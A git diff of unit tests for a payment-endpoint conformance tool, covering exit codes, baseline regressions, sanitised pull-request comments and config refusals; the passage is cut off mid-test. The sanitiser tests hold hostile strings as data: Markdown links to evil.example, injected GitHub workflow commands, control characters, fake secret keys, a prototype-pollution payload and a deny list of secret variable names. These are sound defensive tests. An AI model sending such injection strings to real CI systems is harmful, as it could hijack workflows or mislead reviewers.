() => { + const before = report([endpoint("weather", [pass("X402-01")])]); + const now = report([endpoint("weather", [pass("X402-01"), pass("X402-02")])]); + assert.deepEqual(diffReports(now, before), []); + }); +}); + +describe("findRegressions", () => { + it("is a graded endpoint (conformant or non-conformant) that is now unsupported or without a verdict", () => { + const before = report([endpoint("a", conformant()), endpoint("b", [fail("X402-01")]), endpoint("c", conformant())]); + const now = report([endpoint("a", v1()), endpoint("b", skippedPaymentChecks("x402", "read-only")), endpoint("c", conformant())]); + assert.deepEqual(findRegressions(now, before), [ + { endpoint: "a", was: "conformant", now: "unsupported" }, + { endpoint: "b", was: "non-conformant", now: "no-verdict" }, + ]); + }); + + it("is not a regression when the endpoint was not graded before, or is gone", () => { + const before = report([endpoint("a", v1()), endpoint("gone", conformant())]); + const now = report([endpoint("a", v1())]); + assert.deepEqual(findRegressions(now, before), []); + }); +}); + +describe("runExitCode", () => { + it("is 0 when every endpoint is conformant", () => { + const verdict = runExitCode(report([endpoint("a", conformant()), endpoint("b", conformant())])); + assert.equal(verdict.code, 0); + }); + + it("is 1 for a non-conformant endpoint, even beside one that could not run", () => { + const errorResult: CheckResult = { id: "X402-01", name: "x", pass: false, detail: "d", error: { kind: "unreachable", message: "m" } }; + const verdict = runExitCode(report([endpoint("a", [fail("X402-01")]), endpoint("b", [errorResult])])); + assert.equal(verdict.code, 1); + assert.match(verdict.reason, /non-conformant/); + }); + + it("is 2 when nothing was graded: only an unsupported endpoint, said with the counts", () => { + const verdict = runExitCode(report([endpoint("old", v1())])); + assert.equal(verdict.code, 2); + assert.match(verdict.reason, /nothing could be graded/); + assert.match(verdict.reason, /0 graded, 1 unsupported/); + }); + + it("is 2 when a check could not run, although something else was graded", () => { + const errorResult: CheckResult = { id: "X402-01", name: "x", pass: false, detail: "d", error: { kind: "unreachable", message: "m" } }; + const verdict = runExitCode(report([endpoint("a", conformant()), endpoint("b", [errorResult])])); + assert.equal(verdict.code, 2); + assert.match(verdict.reason, /could not run/); + }); + + it("stays 0 for an unsupported endpoint beside a graded one, and the reason counts it", () => { + const verdict = runExitCode(report([endpoint("a", conformant()), endpoint("old", v1())])); + assert.equal(verdict.code, 0); + assert.match(verdict.reason, /1 graded, 1 unsupported/); + }); + + it("is 2 when payment checks were asked for and could not be graded on one endpoint, although another was graded (review of S1, finding 1)", () => { + const unsupportedPayment = [ + ...CHALLENGE.map(pass), + ...["X402-06", "X402-07", "X402-08", "X402-09", "X402-10"].map((id) => skipped(id, `${id} name`, "no payment adapter for eip155:1", "unsupported")), + ]; + const now = report([endpoint("a", conformant()), endpoint("pay", unsupportedPayment)]); + const verdict = runExitCode(now); + assert.equal(verdict.code, 2); + assert.match(verdict.reason, /payment checks/); + assert.match(verdict.reason, /could not be graded/); + assert.equal(now.endpoints[1]!.outcome, "no-verdict"); + assert.match(now.endpoints[1]!.reason ?? "", /no payment adapter/); + // A FAIL elsewhere still outranks it. + assert.equal(runExitCode(report([endpoint("a", [fail("X402-01")]), endpoint("pay", unsupportedPayment)])).code, 1); + }); + + it("stays 0 for an MPP endpoint the read-only tier could not grade, beside a conformant x402 one", () => { + const verdict = runExitCode( + report([endpoint("a", conformant()), endpoint("chat", skippedPaymentChecks("mpp-charge", "read-only"), "mpp-charge")]), + ); + assert.equal(verdict.code, 0); + assert.match(verdict.reason, /1 no verdict/); + }); + + it("is 1 with a baseline when a graded endpoint is now unsupported, and lists it", () => { + const before = report([endpoint("a", conformant()), endpoint("b", conformant())]); + const now = report([endpoint("a", conformant()), endpoint("b", v1())]); + assert.equal(runExitCode(now).code, 0, "without the baseline it is green"); + const verdict = runExitCode(now, before); + assert.equal(verdict.code, 1); + assert.deepEqual(verdict.regressions, [{ endpoint: "b", was: "conformant", now: "unsupported" }]); + assert.match(verdict.reason, /b/); + assert.match(verdict.reason, /regress/); + }); + + it("is 1 with a baseline when the only endpoint turns unsupported: the regression outranks 'nothing graded'", () => { + const before = report([endpoint("a", conformant())]); + const now = report([endpoint("a", v1())]); + assert.equal(runExitCode(now, before).code, 1); + }); + + it("is 2 without a baseline for the same report: never graded is not green", () => { + assert.equal(runExitCode(report([endpoint("a", v1())])).code, 2); + }); + + it("does not call an endpoint that was never graded on main a regression", () => { + const before = report([endpoint("a", v1())]); + const now = report([endpoint("a", v1())]); + const verdict = runExitCode(now, before); + assert.equal(verdict.code, 2); + assert.deepEqual(verdict.regressions, []); + }); +}); diff --git a/packages/core/test/unit/check.test.ts b/packages/core/test/unit/check.test.ts index 2948761..79c4785 100644 --- a/packages/core/test/unit/check.test.ts +++ b/packages/core/test/unit/check.test.ts @@ -163,6 +163,14 @@ describe("skip builders", () => { assert.equal(built.detail, "Skipped: the target was never reached"); }); + it("records why a check was skipped when the caller says", () => { + const built = skipped("X402-02", "Payment Header Present", "x402 v1", "unsupported"); + + assert.equal(built.skipKind, "unsupported"); + assert.equal(skipped("X402-02", "Payment Header Present", "x").skipKind, undefined); + assert.ok(!("skipKind" in skipped("X402-02", "Payment Header Present", "x"))); + }); + it("flags a destructive skip so a reporter can gate on it", () => { const built = skippedDestructive("MPP-13", "Close Settlement", "not opted in"); @@ -193,6 +201,35 @@ describe("toStructuredRun", () => { assert.equal(run.results[1]!.errorKind, "configuration"); }); + it("carries skipKind only for skipped results that have one", () => { + const run = toStructuredRun([ + result({ id: "A", pass: true }), + skipped("B", "b", "why", "unsupported"), + skipped("C", "c", "why"), + ]); + + assert.ok(!("skipKind" in run.results[0]!)); + assert.equal(run.results[1]!.skipKind, "unsupported"); + assert.ok(!("skipKind" in run.results[2]!)); + }); + + // What a service answered reaches the report through `detail`, `name` and + // the fix text, so the structured run is a sink for the one sanitiser. + it("passes service-supplied text through the sanitiser", () => { + const run = toStructuredRun([ + result({ + pass: false, + name: "Check\u001b[2J", + detail: "got \u0007bell\n::error::injected", + hint: "fix \u0000this\n::warning::x", + }), + ]); + + assert.equal(run.results[0]!.name, "Check[2J"); + assert.equal(run.results[0]!.detail, "got bell\n: :error::injected"); + assert.equal(run.results[0]!.fix, "fix this\n: :warning::x"); + }); + it("always states destructive as a boolean", () => { const run = toStructuredRun([ result({ pass: true }), diff --git a/packages/core/test/unit/ci-report.test.ts b/packages/core/test/unit/ci-report.test.ts new file mode 100644 index 0000000..69b4edf --- /dev/null +++ b/packages/core/test/unit/ci-report.test.ts @@ -0,0 +1,389 @@ +/** + * `renderComment` and `renderSummary`: the pull request comment and the job + * summary, pure functions over the run report and, when there is one, the + * baseline of the default branch (spec A4, A5, A8 #6). + * + * Text a service sent reaches these through the check details, so the tests + * hold the output to the rules of the sanitiser: no HTML, no link, no mention, + * no line a runner reads as a command, no control character, no value over 300 + * characters, and no secret. The shape of a normal comment is pinned by golden + * files in `test/fixtures/ci-report/`; to rewrite them after a change you meant + * to make, run the tests with WASIT_UPDATE_SNAPSHOTS=1 and read the diff. + */ + +import assert from "node:assert/strict"; +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { fileURLToPath } from "node:url"; +import { describe, it } from "node:test"; + +import { type Baseline, updateHistory } from "../../src/baseline.js"; +import { COMMENT_MARKER, renderComment, renderSummary } from "../../src/ci-report.js"; +import { catalogueEntry } from "../../src/catalogue.js"; +import { type CheckResult, errored, skipped } from "../../src/check.js"; +import { ConfigurationError } from "../../src/errors.js"; +import { + buildEndpointReport, + buildRunReport, + skippedPaymentChecks, + type RunReport, +} from "../../src/report.js"; +import type { ProtocolId } from "../../src/catalogue.js"; +import { readToolVersions, type ToolVersions } from "../../src/versions.js"; + +const FIXTURES = fileURLToPath(new URL("../fixtures/ci-report/", import.meta.url)); + +/** Compares `actual` with the golden file `name`; writes it when WASIT_UPDATE_SNAPSHOTS=1. */ +function expectSnapshot(name: string, actual: string): void { + const file = `${FIXTURES}${name}`; + if (process.env["WASIT_UPDATE_SNAPSHOTS"] === "1") { + mkdirSync(FIXTURES, { recursive: true }); + writeFileSync(file, actual); + return; + } + assert.ok(existsSync(file), `no golden file ${name}: run once with WASIT_UPDATE_SNAPSHOTS=1 and read it`); + assert.equal(actual, readFileSync(file, "utf-8")); +} + +/** Fixed versions, so a golden file does not change with an install. */ +const VERSIONS: ToolVersions = { + wasit: { cli: "0.7.0", core: "0.7.0" }, + sdk: { + x402Version: 2, + "@x402/core": "2.28.0", + "@x402/stellar": "2.28.0", + "@stellar/mpp": "0.7.1", + mppx: "0.8.14", + "@stellar/stellar-sdk": "16.1.0", + }, +}; + +function pass(id: string, name = catalogueEntry(id)?.name ?? id): CheckResult { + return { id, name, pass: true, detail: "ok" }; +} +function fail( + id: string, + detail: string, + hint = "Send the challenge in the PAYMENT-REQUIRED header.", + values: { expected?: string; actual?: string } = {}, +): CheckResult { + return { id, name: catalogueEntry(id)?.name ?? id, pass: false, detail, hint, ...values }; +} +const CHALLENGE = ["X402-01", "X402-02", "X402-03", "X402-04", "X402-05"]; + +function conformant(): CheckResult[] { + return [...CHALLENGE.map((id) => pass(id)), ...skippedPaymentChecks("x402", "read-only")]; +} +function v1(): CheckResult[] { + return [ + pass("X402-01"), + ...CHALLENGE.slice(1).map((id) => + skipped( + id, + id, + "the service sent an x402 v1 challenge in its response body. To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header.", + "unsupported", + ), + ), + ...skippedPaymentChecks("x402", "read-only"), + ]; +} + +function endpoint(name: string, results: CheckResult[], protocol: ProtocolId = "x402") { + return buildEndpointReport({ name, protocol, method: "GET", path: `/${name}`, results }); +} + +function report( + endpoints: ReturnType[], + extra: { environment?: string; notes?: string[] } = {}, +): RunReport { + return buildRunReport({ + environment: extra.environment ?? "local", + network: "stellar:testnet", + startedAt: "2026-11-15T10:00:00.000Z", + versions: VERSIONS, + endpoints, + notes: extra.notes ?? [], + }); +} + +function baselineOf(runs: RunReport[]): Baseline { + let history = updateHistory(undefined, runs[0]!); + for (const run of runs.slice(1)) history = updateHistory(history, run); + return { report: runs[runs.length - 1]!, history }; +} + +function lines(text: string): string[] { + return text.split("\n"); +} + +describe("the shape of a comment", () => { + it("starts with the marker, and the first line after it names the outcome and the versions", () => { + const comment = renderComment({ report: report([endpoint("weather", conformant())]) }); + const [first, second] = lines(comment); + assert.equal(COMMENT_MARKER, ""); + assert.equal(first, COMMENT_MARKER); + assert.match(second ?? "", /Wasit: conformant/); + assert.match(second ?? "", /Wasit 0\.7\.0/); + assert.match(second ?? "", /x402 v2/); + assert.match(second ?? "", /@x402\/core 2\.28\.0/); + assert.match(second ?? "", /@stellar\/stellar-sdk 16\.1\.0/); + }); + + it("is the golden comment for a green read-only run with no baseline", () => { + const comment = renderComment({ report: report([endpoint("weather", conformant())]) }); + assert.match(comment, /No baseline on main yet/); + assert.match(comment, /payment not run: read-only tier/); + expectSnapshot("green-read-only-no-baseline.md", comment); + }); + + it("says a service Wasit cannot grade is unsupported, not failed, and does not call the run conformant", () => { + const comment = renderComment({ + report: report([endpoint("old", v1())], { notes: ["Tier: read-only. Payment checks were not run."] }), + }); + assert.match(comment, /Wasit: nothing graded/); + assert.match(comment, /0 graded, 1 unsupported/); + assert.match(comment, /unsupported/); + assert.ok(!/Wasit: conformant/.test(comment)); + assert.match(comment, /PAYMENT-REQUIRED response header/, "the way to get graded is not cut off"); + assert.match(comment, /Tier: read-only/); + expectSnapshot("v1-only-no-baseline.md", comment); + }); + + it("names the checks that failed, with what was found, the fix and the docs link", () => { + const now = report([ + endpoint("weather", [pass("X402-01"), pass("X402-02"), pass("X402-03"), fail("X402-04", "Option 0 is missing payTo, asset.", undefined, { expected: "payTo, asset present", actual: "payTo, asset missing" }), pass("X402-05")]), + ]); + const comment = renderComment({ report: now }); + assert.match(comment, /Wasit: non-conformant/); + assert.match(comment, /Option 0 is missing payTo, asset\./); + assert.match(comment, /Send the challenge in the PAYMENT-REQUIRED header\./); + assert.match(comment, /https:\/\/usewasit\.dev\/docs\/checks\/x402/); + }); + + it("shows, under each FAIL, the reason, then what was expected, then what the service sent, then the fix and the link", () => { + const now = report([ + endpoint("weather", [ + fail("X402-01", "Expected status 402, got 200.", "Answer with 402.", { expected: "status 402", actual: "status 200" }), + ]), + ]); + const comment = renderComment({ report: now }); + const order = ["- Found:", "- Expected: status 402", "- Actual: status 200", "- Fix:", "- Docs:"].map((needle) => comment.indexOf(needle)); + assert.ok(order.every((position) => position > 0), `all five lines are there: ${order.join(", ")}`); + assert.deepEqual([...order].sort((a, b) => a - b), order, "in the order found, expected, actual, fix, docs"); + assert.match(comment, /\*\*weather: X402-01 402 Response Status\*\*/, "the heading names the check once"); + }); + + it("leaves the Expected and Actual lines out when the check did not record them", () => { + const comment = renderComment({ report: report([endpoint("weather", [fail("X402-01", "Expected status 402, got 200.")])]) }); + assert.match(comment, /- Found:/); + assert.ok(!/- Expected:|- Actual:/.test(comment)); + }); + + it("neutralises Markdown, HTML, a mention, :: lines, control characters and a key in a hostile actual value", () => { + const key = `S${"A".repeat(55)}`; + const hostile = `[click](https://evil.example/x) @octocat ${key} canary-actual-7f3a\n::set-output name=pwn::1\n## heading \u001b[2J | pipe`; + const comment = renderComment({ + report: report([endpoint("weather", [fail("X402-05", "bad", undefined, { expected: `${hostile} expected`, actual: hostile })])]), + secrets: ["canary-actual-7f3a"], + }); + const line = lines(comment).filter((entry) => entry.startsWith("- Actual:") || entry.startsWith("- Expected:")); + assert.equal(line.length, 2, "one line each"); + assert.ok(!//.test(comment)); + assert.ok(!comment.includes("evil.example")); + assert.ok(!/@octocat/.test(comment)); + assert.ok(!comment.includes(key)); + assert.ok(!comment.includes("canary-actual-7f3a")); + assert.ok(!/[\u0000-\u0008\u000b-\u001f\u007f-\u009f]/.test(comment.replace(/\n/g, ""))); + for (const entry of lines(comment)) assert.ok(!/^\s*(::|##\[)/.test(entry), entry); + for (const entry of line) assert.ok(Array.from(entry).length < 400, "cut to 300 characters plus the label"); + }); + + it("is the golden comment for a failing run against a baseline, with the history", () => { + const main = report([endpoint("weather", conformant()), endpoint("summarize", conformant())]); + const olderMain = report([ + endpoint("weather", [pass("X402-01"), pass("X402-02"), pass("X402-03"), fail("X402-04", "Option 0 is missing payTo."), pass("X402-05")]), + endpoint("summarize", conformant()), + ]); + const now = report([ + endpoint("weather", [ + pass("X402-01"), + pass("X402-02"), + pass("X402-03"), + fail("X402-04", "Missing: payTo, asset.", "Add `payTo`: the address that receives the payment. Add `asset`: the address of the token the client pays in.", { + expected: "payTo, asset present", + actual: "payTo, asset missing", + }), + pass("X402-05"), + ]), + endpoint("summarize", conformant()), + endpoint("fresh", conformant()), + ]); + const comment = renderComment({ report: now, baseline: baselineOf([olderMain, main, main]) }); + assert.match(comment, /Changed since main/); + assert.match(comment, /New FAIL: weather X402-04/); + assert.match(comment, /- Expected: payTo, asset present\n- Actual: payTo, asset missing\n- Fix:/); + assert.match(comment, /New endpoint: fresh/); + assert.match(comment, /weather X402-04: failed in 1 of the last 3 runs on main/); + expectSnapshot("failing-with-baseline.md", comment); + }); + + it("is the golden comment for a graded endpoint that is now unsupported: a regression", () => { + const main = report([endpoint("weather", conformant()), endpoint("summarize", conformant())]); + const now = report([endpoint("weather", conformant()), endpoint("summarize", v1())]); + const comment = renderComment({ report: now, baseline: baselineOf([main]) }); + assert.match(comment, /Wasit: regression/); + assert.match(comment, /Regression: summarize was conformant on main and is now unsupported/); + expectSnapshot("regression-vs-baseline.md", comment); + }); + + it("says nothing changed, when nothing did", () => { + const main = report([endpoint("weather", conformant())]); + const comment = renderComment({ report: main, baseline: baselineOf([main]) }); + assert.match(comment, /No change since main/); + }); + + it("says why there is no usable baseline when one was looked for and could not be read", () => { + const comment = renderComment({ + report: report([endpoint("weather", conformant())]), + baselineNote: "the baseline is not valid JSON", + }); + assert.match(comment, /could not be used/); + assert.match(comment, /not valid JSON/); + assert.match(comment, /history starts again/); + }); + + it("lists the notes of the report", () => { + const comment = renderComment({ report: report([endpoint("weather", conformant())], { notes: ["Tier: read-only."] }) }); + assert.match(comment, /Tier: read-only\./); + }); + + it("counts an ERROR as 'could not run' and calls the run no verdict", () => { + const comment = renderComment({ + report: report([endpoint("weather", [pass("X402-01"), errored("X402-02", "x", new ConfigurationError("could not connect"))])]), + }); + assert.match(comment, /Wasit: no verdict/); + assert.match(comment, /1 could not run/); + }); + + it("says the checks of an MPP endpoint need the payment tier", () => { + const comment = renderComment({ + report: report([endpoint("weather", conformant()), endpoint("chat", skippedPaymentChecks("mpp-charge", "read-only"), "mpp-charge")]), + }); + assert.match(comment, /chat/); + assert.match(comment, /MPP charge not run: read-only tier/); + assert.match(comment, /1 no verdict/); + }); +}); + +describe("the job summary", () => { + it("is the comment without the marker", () => { + const input = { report: report([endpoint("weather", conformant())]) }; + const comment = renderComment(input); + const summary = renderSummary(input); + assert.ok(!summary.includes(COMMENT_MARKER)); + assert.equal(summary, comment.slice(comment.indexOf("\n") + 1)); + }); +}); + +describe("a hostile service", () => { + const HOSTILE = [ + "[click here](https://evil.example/steal)", + "", + "", + "@octocat and @github/security-team please look", + "see #123 and octo/repo#9", + "https://evil.example/phish www.evil.example mailto:a@evil.example", + "\u001b[2J\u001b[31mred\u0007bell‮RTL", + "| pipe | cells | injected |", + "# a heading", + "- a list item", + ].join("\n"); + const CANARY = "canary-header-value-7f3a"; + const STELLAR_KEY = `S${"A".repeat(55)}`; + + /** What a 402 body can do once a check quotes it: every field a service chose, each with the nasty text. */ + function hostileReport(): RunReport { + const nasty = `${HOSTILE}\n::set-output name=pwn::1\n ::add-mask::x\n##[warning]hello ${CANARY} ${STELLAR_KEY}`; + return report( + [ + endpoint("weather", [ + pass("X402-01"), + fail("X402-02", nasty, nasty, { expected: nasty, actual: nasty }), + { id: "X402-03", name: nasty, pass: false, detail: "x".repeat(5000), hint: "short" }, + ]), + ], + { notes: [nasty] }, + ); + } + + const comment = renderComment({ report: hostileReport(), secrets: [CANARY] }); + + it("lets no HTML through", () => { + assert.ok(!/<(img|script)/i.test(comment)); + assert.ok(!comment.includes("onerror=alert(1)>")); + }); + + it("lets no link, mention, issue reference or mailto of the service stand", () => { + assert.ok(!comment.includes("evil.example")); + assert.ok(!/@octocat|@github/.test(comment)); + assert.ok(!/octo\/repo#9|#123/.test(comment)); + assert.ok(!/\]\(https?:\/\/(?!usewasit\.dev\/)/.test(comment)); + }); + + it("starts no line with a workflow command, in either spelling", () => { + for (const line of lines(comment)) { + assert.ok(!/^\s*(::|##\[)/.test(line), `line starts a command: ${line.slice(0, 40)}`); + } + }); + + it("has no control character except newline, and no bidirectional override", () => { + assert.ok(!/[\u0000-\u0008\u000b-\u001f\u007f-\u009f‪-‮⁦-⁩]/.test(comment)); + }); + + it("opens no heading, list or table row from the service's text", () => { + const body = lines(comment).filter((line) => /injected|a heading|a list item|pipe/.test(line)); + assert.ok(body.length > 0, "the text is there, escaped"); + for (const line of body) { + assert.ok(!/^#{1,6} a heading/.test(line), line); + assert.ok(!/^- a list item/.test(line), line); + assert.ok(!/^\| pipe \|/.test(line), line); + } + }); + + it("cuts a long value to 300 characters", () => { + for (const line of lines(comment)) assert.ok(Array.from(line).length < 700, `line of ${line.length} characters`); + assert.ok(!comment.includes("x".repeat(301))); + }); + + it("carries no secret: not the header value it was told, not a Stellar secret key", () => { + assert.ok(!comment.includes(CANARY)); + assert.ok(!comment.includes(STELLAR_KEY)); + const unredacted = renderComment({ report: hostileReport() }); + assert.ok(!unredacted.includes(STELLAR_KEY), "a Stellar key is masked without being told"); + }); + + it("drops a docs link that is not on usewasit.dev", () => { + const forged = report([endpoint("weather", [fail("X402-01", "bad")])]); + const tampered: RunReport = { + ...forged, + endpoints: [ + { + ...forged.endpoints[0]!, + results: forged.endpoints[0]!.results.map((result) => ({ ...result, docs: "https://evil.example/docs" })), + }, + ], + }; + const text = renderComment({ report: tampered }); + assert.ok(!text.includes("evil.example")); + assert.ok(!/Docs:/.test(text)); + }); + + it("holds the whole comment under what GitHub allows, and says what it left out", () => { + const many = Array.from({ length: 50 }, (_, index) => + endpoint(`endpoint-${index}`, CHALLENGE.map((id) => fail(id, "y".repeat(2000)))), + ); + const big = renderComment({ report: report(many) }); + assert.ok(big.length <= 60_000, `comment of ${big.length} characters`); + assert.match(big, /more failures? not shown/); + }); +}); diff --git a/packages/core/test/unit/config.test.ts b/packages/core/test/unit/config.test.ts new file mode 100644 index 0000000..98e52fd --- /dev/null +++ b/packages/core/test/unit/config.test.ts @@ -0,0 +1,703 @@ +/** + * `wasit.config.json`: the schema and the loader (spec A1, A8 #5, #7, #9). + * + * The file is committed, so a pull request can change it, and Wasit reads it + * for every run. Refusals come first here: an unknown key, a secret, the + * mainnet opt-in, a path that leaves the declared origin, a header that is a + * credential. Every refusal names the key and never echoes a value, so a + * secret that was put in the file by mistake does not come back through the + * error message. + */ + +import assert from "node:assert/strict"; +import { mkdtempSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, it } from "node:test"; + +import { ConfigurationError, classifyCheckError } from "../../src/errors.js"; +import { + CONFIG_VERSION, + ConfigError, + describeRun, + headerEnvName, + headersFromEnv, + joinTarget, + parseConfig, + readConfigFile, + resolveRun, + validateConfig, +} from "../../src/config.js"; + +const FIXTURE = new URL("../fixtures/wasit.config.json", import.meta.url); + +/** A Stellar secret-shaped value built here, so no real key is ever in the repository. */ +const FAKE_SECRET = `S${"B".repeat(55)}`; +const PUBLIC_KEY = "GBNCC3VFT7PGUMGDQU5O35SXVWWTAHCO4LFFWLYFBLQCD56DNWYWM6ZS"; +const CONTRACT = "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA"; + +type Json = Record; + +/** A fresh copy of the fixture, as a plain object a test can break. */ +async function fixture(): Promise { + const { readFileSync } = await import("node:fs"); + return JSON.parse(readFileSync(FIXTURE, "utf-8")) as Json; +} + +/** The text of the error `validateConfig` throws for `value`, or a failed assertion. */ +function refusal(value: unknown): ConfigError { + try { + validateConfig(value); + } catch (error) { + assert.ok(error instanceof ConfigError, `expected a ConfigError, got ${String(error)}`); + return error; + } + return assert.fail("expected the config to be refused"); +} + +/** Mutates a copy of the fixture and asserts the result is refused, naming `path` and saying `says`. */ +async function refusesWith(mutate: (config: Json) => void, path: string, says?: RegExp): Promise { + const config = await fixture(); + mutate(config); + const error = refusal(config); + assert.ok(error.issues.some((issue) => issue.path === path), `no issue for ${path}: ${JSON.stringify(error.issues)}`); + if (says !== undefined) { + const issue = error.issues.find((candidate) => candidate.path === path); + assert.match(issue?.message ?? "", says); + } + assert.ok(error.message.includes(path), error.message); + return error; +} + +describe("the fixture config", () => { + it("loads, and says version 1", async () => { + const config = validateConfig(await fixture()); + assert.equal(CONFIG_VERSION, 1); + assert.equal(config.version, 1); + assert.deepEqual(Object.keys(config.environments), ["local", "staging", "mainnet"]); + assert.deepEqual(config.endpoints.map((endpoint) => endpoint.name), ["weather", "summarize", "raw", "chat", "stream"]); + }); + + it("applies the defaults: GET, no headers, not operated by me until it says so", async () => { + const config = validateConfig({ + version: 1, + environments: { e: { baseUrl: "http://127.0.0.1:3000" } }, + endpoints: [{ name: "a", protocol: "x402", path: "/a" }], + }); + assert.equal(config.environments["e"]?.network, "stellar:testnet"); + assert.equal(config.environments["e"]?.operatedByMe, false); + assert.equal(config.endpoints[0]?.method, "GET"); + assert.deepEqual(config.endpoints[0]?.headers, {}); + }); + + it("parses from text and from a file", () => { + const text = JSON.stringify({ + version: 1, + environments: { e: { baseUrl: "http://127.0.0.1:3000" } }, + endpoints: [{ name: "a", protocol: "x402", path: "/a" }], + }); + assert.equal(parseConfig(text).endpoints.length, 1); + assert.equal(parseConfig(`${text}`).endpoints.length, 1, "a byte order mark is ignored"); + assert.equal(readConfigFile(FIXTURE.pathname).endpoints.length, 5); + }); +}); + +describe("a config that cannot be read", () => { + it("refuses text that is not JSON, with a line and column and none of the text", () => { + const error = (() => { + try { + parseConfig(`{\n "version": 1,\n "x": ${FAKE_SECRET}\n}`); + } catch (caught) { + return caught as ConfigError; + } + return assert.fail("expected a refusal"); + })(); + assert.ok(error instanceof ConfigError); + assert.match(error.message, /not valid JSON/); + assert.match(error.message, /line \d+, column \d+/); + assert.equal(error.message.includes(FAKE_SECRET), false); + }); + + it("refuses a JSON value that is not an object", () => { + for (const text of ["[]", "null", "1", '"x"']) { + assert.throws(() => parseConfig(text), (error: unknown) => error instanceof ConfigError && /JSON object/.test(error.message), text); + } + }); + + it("refuses a missing file and a file that is too large, without echoing contents", () => { + const dir = mkdtempSync(join(tmpdir(), "wasit-config-")); + assert.throws(() => readConfigFile(join(dir, "missing.json")), (error: unknown) => error instanceof ConfigError && /cannot read/.test(error.message)); + const big = join(dir, "big.json"); + writeFileSync(big, `{"version":1,"pad":"${"x".repeat(300_000)}"}`); + assert.throws(() => readConfigFile(big), (error: unknown) => error instanceof ConfigError && /larger than/.test(error.message)); + }); + + it("is a configuration error: no verdict about any service", async () => { + const error = refusal({}); + assert.ok(error instanceof ConfigurationError); + assert.equal(classifyCheckError(error).kind, "configuration"); + }); +}); + +describe("version", () => { + it("must be present and exactly 1", async () => { + for (const version of [undefined, 0, 2, "1", 1.5, null, true, [1]]) { + const config = await fixture(); + if (version === undefined) delete config["version"]; + else config["version"] = version; + const error = refusal(config); + assert.ok(error.issues.some((issue) => issue.path === "version"), String(version)); + } + }); + + it("names a version it does not know without echoing anything but a number", async () => { + const error = await refusesWith((config) => { config["version"] = 2; }, "version", /only version 1/); + assert.match(error.message, /version 2/); + const text = await refusesWith((config) => { config["version"] = `2${FAKE_SECRET}`; }, "version"); + assert.equal(text.message.includes(FAKE_SECRET), false); + }); +}); + +describe("unknown keys", () => { + it("refuses an unknown top-level key, naming it", async () => { + await refusesWith((config) => { config["telemetry"] = true; }, "telemetry", /unknown key/); + }); + + it("refuses an unknown key at every level, naming its path", async () => { + await refusesWith((config) => { config["service"]["restart"] = "x"; }, "service.restart", /unknown key/); + await refusesWith((config) => { config["service"]["ready"]["retries"] = 3; }, "service.ready.retries", /unknown key/); + await refusesWith((config) => { config["environments"]["local"]["region"] = "x"; }, "environments.local.region", /unknown key/); + await refusesWith((config) => { config["environments"]["staging"]["pinned"]["memo"] = "x"; }, "environments.staging.pinned.memo", /unknown key/); + await refusesWith((config) => { config["endpoints"][1]["retries"] = 3; }, "endpoints[1].retries", /unknown key/); + await refusesWith((config) => { config["endpoints"][1]["reject"]["status"] = 400; }, "endpoints[1].reject.status", /unknown key/); + await refusesWith((config) => { config["endpoints"][4]["expect"]["amount"] = "1"; }, "endpoints[4].expect.amount", /unknown key/); + }); + + it("names a misspelt key rather than silently dropping the setting", async () => { + await refusesWith((config) => { config["environments"]["local"]["operatedbyme"] = true; }, "environments.local.operatedbyme", /unknown key/); + await refusesWith((config) => { config["endpoints"][0]["paths"] = "/x"; }, "endpoints[0].paths", /unknown key/); + }); + + it("reports every problem it finds, not only the first", async () => { + const config = await fixture(); + config["extra1"] = 1; + config["extra2"] = 2; + const error = refusal(config); + assert.deepEqual(error.issues.map((issue) => issue.path).sort(), ["extra1", "extra2"]); + }); + + it("does not let a key that is a prototype property through", async () => { + const config = JSON.parse('{"version":1,"__proto__":{"polluted":true},"environments":{"e":{"baseUrl":"http://127.0.0.1:1"}},"endpoints":[{"name":"a","protocol":"x402","path":"/a"}]}'); + const error = refusal(config); + assert.ok(error.issues.some((issue) => issue.path === "__proto__")); + assert.equal(({} as Json)["polluted"], undefined); + }); +}); + +describe("forbidden keys: never in the file", () => { + const SECRET_NAMES = [ + "secret", "privateKey", "payerKey", "payerSecret", "password", "mnemonic", "seed", "apiKey", "token", "commitmentKey", + "STELLAR_PRIVATE_KEY", "EVM_PRIVATE_KEY", "SVM_PRIVATE_KEY", "MPP_PAYER_SECRET", "COMMITMENT_SECRET_HEX", "WASIT_MAINNET_PAYER_SECRET", + ]; + const OPT_IN_NAMES = ["mainnet", "mainnetOptIn", "allowMainnet", "optIn", "mainnet-opt-in", "pubnet"]; + const DESTRUCTIVE_NAMES = ["allowDestructive", "destructive", "destructiveChannel", "mpp13", "MPP-13", "closeChannel", "allowClose"]; + const CAP_NAMES = ["maxPaymentUsd", "maxPayment", "maxPerPayment", "perPaymentCap", "paymentCap", "paymentLimit", "maxAmount", "spendLimit", "cap"]; + + /** Where a forbidden key is tried: the top level, an environment, an endpoint, the pin, the service. */ + const PLACES: ReadonlyArray<[string, (config: Json, key: string) => void, (key: string) => string]> = [ + ["the top level", (config, key) => { config[key] = true; }, (key) => key], + ["an environment", (config, key) => { config["environments"]["local"][key] = true; }, (key) => `environments.local.${key}`], + ["an endpoint", (config, key) => { config["endpoints"][0][key] = true; }, (key) => `endpoints[0].${key}`], + ["the pin", (config, key) => { config["environments"]["staging"]["pinned"][key] = true; }, (key) => `environments.staging.pinned.${key}`], + ["the service block", (config, key) => { config["service"][key] = true; }, (key) => `service.${key}`], + ]; + + for (const [group, names, says] of [ + ["a secret or a secret variable name", SECRET_NAMES, /secrets? (never|are never)/i], + ["the mainnet opt-in", OPT_IN_NAMES, /mainnet opt-in/i], + ["allowDestructive or MPP-13", DESTRUCTIVE_NAMES, /MPP-13/], + ["a per-payment cap", CAP_NAMES, /per-payment cap/i], + ] as const) { + it(`refuses ${group}, at every level, with its own reason`, async () => { + for (const name of names) { + for (const [place, set, pathOf] of PLACES) { + await refusesWith((config) => set(config, name), pathOf(name), says).catch((error: unknown) => { + throw new Error(`${name} in ${place}: ${String(error)}`); + }); + } + } + }); + } + + it("does not mistake an environment named mainnet for the opt-in: the name is data, not a key", async () => { + const config = validateConfig(await fixture()); + assert.equal(config.environments["mainnet"]?.network, "stellar:pubnet"); + }); + + it("allows the one cap setting, maxRunUsd, between 0 (exclusive) and 5", async () => { + for (const value of [0.01, 1, 